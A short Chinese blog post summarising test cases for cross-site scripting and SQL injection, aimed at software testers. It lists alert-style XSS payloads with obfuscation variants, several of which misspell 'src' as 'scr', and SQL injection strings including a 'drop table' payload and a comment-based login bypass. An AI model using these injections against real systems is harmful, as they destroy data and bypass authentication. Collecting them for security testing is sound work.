zoukankan      html  css  js  c++  java
  • xss、SQL测试用例小结

    xss测试用例小结:

    <script>alert("跨站")</script> (最常用)
    <img scr=javascript:alert("跨站")></img>
    <img scr="javascript: alert(/跨站/)></img>
    <img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
    <img scr="#" οnerrοr=alert(/跨站/)></img>
    <img scr="#" style="xss:expression(alert(/xss/));"></img>
    <img scr="#"/* */οnerrοr=alert(/xss/) width=150></img> (/**/ 表示注释)
    <img src=vbscript:msgbox ("xss")></img>
    <style> input {left:expression (alert('xss'))}</style>
    <div style={left:expression (alert('xss'))}></div>
    <div style={left:exp/* */ression (alert('xss'))}></div>
    <div style={left:065078ression (alert('xss'))}></div>
    html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>
    unicode <div style="{left:expRessioN (alert('xss'))}">[/post]

    SQL测试用例小结

    1 删除表:Select * from A where A.a = ‘testdata’; drop table A---’;

    2 获取所有记录:

    Select * from A where A.a = ‘testdata’ OR ‘1’=’1’;

    3 不输入密码:

    Select * from user A where A.username =  ‘username’--’ and A.password = ‘’;

    4 使用半个单引号、分号

    Update table A set A.a = ‘testdata’;--’

    查询重复名称

    select InnerCode from tbInfoEmployee where EmpName in(select EmpName from tbInfoEmployee group by EmpName having COUNT(empName)>1)

  • 相关阅读:
    《大型网站技术架构:核心原理与案分析》阅读笔记05
    软件体系结构(1)
    《大型网站技术架构:核心原理与案分析》阅读笔记04
    C/C++
    NIO蔚来自动驾驶实习生技术一面
    Intern Day86
    面试常考
    中国赛宝实验室C++技术一面
    Intern Day85
    Intern Day85
  • 原文地址:https://www.cnblogs.com/wxh04/p/11792922.html
Copyright © 2011-2022 走看看